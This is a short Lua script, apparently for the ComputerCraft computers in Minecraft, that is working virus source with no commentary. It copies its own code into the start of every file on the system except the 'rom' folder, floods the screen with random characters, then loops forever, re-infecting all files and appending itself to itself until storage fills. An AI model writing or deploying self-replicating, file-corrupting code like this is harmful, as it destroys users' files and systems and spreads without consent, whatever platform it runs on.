function infect(file) local virusfile = fs.open(shell.getRunningProgram(), "r") local viruscode = virusfile.readAll() local inFile = fs.open(file, "r") local fileCode = inFile.readAll() inFile.close() virusfile.close() local infectFile = fs.open(file,"w") infectFile.writeLine(viruscode) infectFile.writeLine(fileCode) infectFile.close() end function infectDir(directory) shell.setDir(directory) local files = fs.list(directory) for i=1,#files do if fs.isDir(files[i]) then if files[i] == "rom" then else infectDir(shell.dir().."/"..files[i]) end else infect(shell.dir().."/"..files[i]) end end shell.setDir("") end function payload() local w,h = term.getSize() local payLoadCharacters = {0, 1, "|", "-", "+"} for i=1,50000 do term.setCursorPos(math.random(1, w), math.random(1, h)) local index = math.random(1, table.getn(payLoadCharacters)) write(payLoadCharacters[index]) end end payload() while true do infectDir("/") ds = fs.open(shell.getRunningProgram(), "r") dsC = ds.readAll() ds.close() Ds = fs.open(shell.getRunningProgram(), "a") Ds.writeLine(dsC) Ds.close() infectDir("/") end